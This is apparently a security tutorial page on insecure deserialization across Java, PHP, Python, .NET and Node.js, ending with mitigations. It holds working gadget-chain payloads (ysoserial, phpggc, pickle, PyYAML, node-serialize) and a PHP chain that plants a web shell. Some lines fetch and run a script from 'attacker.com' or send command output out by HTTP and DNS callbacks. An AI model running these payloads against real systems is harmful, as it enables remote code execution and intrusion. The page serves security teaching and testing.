
Insecure Deserialization: Object Manipulation Attacks
Deserialization vulnerabilities in Java, PHP, Python, .NET, and Node.js including gadget chains, exploitation techniques, and remediation.
Introduction
Insecure deserialization occurs when applications deserialize untrusted data without proper validation, potentially leading to remote code execution (RCE), privilege escalation, or denial of service. Serialization converts objects to transportable formats (bytes, JSON, XML), and deserialization reconstructs them—a process that can trigger dangerous operations if the data is manipulated.
This vulnerability has led to critical breaches including the Equifax hack (Apache Struts) and affects virtually every programming language with serialization capabilities.
Understanding Serialization
Why Applications Serialize
- Session storage
- Caching objects
- Inter-service communication
- Database storage
- Message queues
Danger During Deserialization
When objects are deserialized, constructors, magic methods, or callback functions may execute automatically:
# Python __reduce__ method executes during unpickling
class Malicious:
def __reduce__(self):
import os
return (os.system, ('whoami',))Java Deserialization
Identifying Serialized Data
# Magic bytes for Java serialization
AC ED 00 05 # Binary format
rO0AB # Base64 encoded
# Common locations
- Cookies (ViewState, session)
- Hidden form fields
- API payloads
- Message queues (JMS)Common Gadget Chains
# ysoserial - generate payloads
java -jar ysoserial.jar CommonsCollections1 'whoami' | base64
# Common gadgets:
# - CommonsCollections1-7 (Apache Commons)
# - Spring1-2 (Spring Framework)
# - Hibernate1-2 (Hibernate ORM)
# - JRMPClient/JRMPListener (RMI)
# - FileUpload1 (Commons FileUpload)Exploitation Example
// Vulnerable code
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(userInput));
Object obj = ois.readObject(); // Executes gadget chain
// Attack
// 1. Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/shell.sh|bash' > payload.bin
// 2. Base64 encode if needed
base64 payload.bin > payload.b64
// 3. Send to vulnerable endpoint
curl -X POST https://target.com/api \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.binDetection Tips
# Look for:
- java.io.ObjectInputStream usage
- readObject() calls
- XMLDecoder usage
- XStream without whitelist
- SnakeYAML without safe constructorsPHP Deserialization
PHP Magic Methods
// Dangerous magic methods
__construct() // Object creation
__destruct() // Object destruction
__wakeup() // Called on unserialize()
__toString() // Object to string conversion
__call() // Undefined method callsPOP Chains (Property-Oriented Programming)
// Vulnerable class
class FileHandler {
public $filename;
public $content;
function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
// Exploitation
$payload = new FileHandler();
$payload->filename = '/var/www/html/shell.php';
$payload->content = '<?php system($_GET["cmd"]); ?>';
echo serialize($payload);
// O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}PHP Phar Deserialization
// Phar files can trigger deserialization
// via phar:// stream wrapper
// Any file operation can trigger:
file_exists('phar://malicious.phar')
file_get_contents('phar://malicious.phar')
include('phar://malicious.phar')Tools
# PHPGGC - PHP Generic Gadget Chains
phpggc Monolog/RCE1 system 'id' > payload.txt
# Phar generator
phpggc -p phar Monolog/RCE1 system 'id' -o exploit.pharPython Deserialization
Pickle Exploitation
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
# Trigger with:
pickle.loads(base64.b64decode(payload))PyYAML Exploitation
# Unsafe YAML (requires yaml.load with Loader=Loader)
!!python/object/apply:os.system ['id']
# Or
!!python/object/new:subprocess.Popen
args: [['id']]
# Safe usage (won't execute):
yaml.safe_load(data)Detection
# Look for:
pickle.loads()
pickle.load()
cPickle.loads()
yaml.load() # without safe_load
marshal.loads()
shelve.open().NET Deserialization
BinaryFormatter Exploitation
// Vulnerable code
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream); // RCE
// Generate payload with ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"Common .NET Gadgets
# ysoserial.net gadgets
ActivitySurrogateSelector
ObjectDataProvider
TypeConfuseDelegate
WindowsIdentityViewState Attacks
# If ViewState MAC is disabled or key is known
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "cmd /c whoami" --validationalg="SHA1" --validationkey="KEY"Node.js Deserialization
node-serialize Vulnerability
// Vulnerable code
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
// Payload generator
var y = {
rce: function(){
require('child_process').exec('id', function(e,s,er){console.log(s)});
}
};
var payload = serialize.serialize(y).replace('"}', '()"}');IIFE Exploitation
// Immediately Invoked Function Expression
{"exploit":"_$$ND_FUNC$$_function(){PAYLOAD}()"}Exploitation Workflow
1. Identify Serialization
# Check for magic bytes
xxd suspicious_data | head
# Common indicators:
# Java: AC ED 00 05, rO0AB...
# PHP: a:, O:, s:
# Python Pickle: 80 04 95, gASV...
# .NET: AAEAAAD/////2. Determine Libraries
# Error messages reveal framework
# Stack traces show library versions
# Headers indicate technology stack3. Generate Payloads
# Java
java -jar ysoserial.jar [GADGET] '[COMMAND]'
# PHP
phpggc [CHAIN] [PARAM1] [PARAM2]
# .NET
ysoserial.exe -f [FORMAT] -g [GADGET] -c '[COMMAND]'4. Deliver and Verify
# Use out-of-band verification
# - DNS callback (dnslog.cn, burpcollaborator)
# - HTTP callback
# Example command
curl http://attacker.com/$(whoami)
nslookup $(whoami).attacker.comDefense and Remediation
General Principles
- Never deserialize untrusted data
- Use data formats like JSON for untrusted input
- Implement integrity checks (HMAC)
- Use allowlists for deserialization classes
Language-Specific Mitigations
// Java - Use filtering (JEP 290)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.*;!*"
);
ois.setObjectInputFilter(filter);
// PHP - Avoid unserialize on user input
// Use JSON instead
$data = json_decode($input, true);
// Python - Use safe loaders
yaml.safe_load(data) // Not yaml.load()
# Avoid pickle for untrusted data
// .NET - Avoid BinaryFormatter
// Use DataContractSerializer with known typesDetection Methods
# Runtime monitoring
# - Log deserialization calls
# - Monitor for unusual process execution
# Static analysis
# - Look for dangerous function calls
# - Review deserialization patternsReferences
MITRE ATT&CK Techniques
- T1059 - Command and Scripting Interpreter - Code execution via deserialization
- T1190 - Exploit Public-Facing Application - Initial access via deserialization
- T1055 - Process Injection - Post-exploitation via gadget chains
Common Weakness Enumeration
- CWE-502 - Deserialization of Untrusted Data - Primary deserialization weakness
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes - Mass assignment via deserialization
OWASP Resources
- OWASP Deserialization Cheat Sheet - Prevention guidance
- OWASP Testing Guide - Deserialization - Testing methodology
Tools Documentation
- ysoserial - Java deserialization payloads
- PHPGGC - PHP Generic Gadget Chains
- ysoserial.net - .NET deserialization payloads
Related Articles
- Authentication Bypass - Session deserialization attacks
- API Security - API serialization formats
Last updated on
Host Header Poisoning
How Host Header Poisoning vulnerabilities allow attackers to manipulate HTTP Host headers for password reset poisoning, cache poisoning, SSRF, and authentication bypass attacks.
Outdated JavaScript Dependencies
Security risks of outdated JavaScript dependencies including XSS, RCE, and supply chain attacks. Detection strategies and remediation using npm audit and Snyk.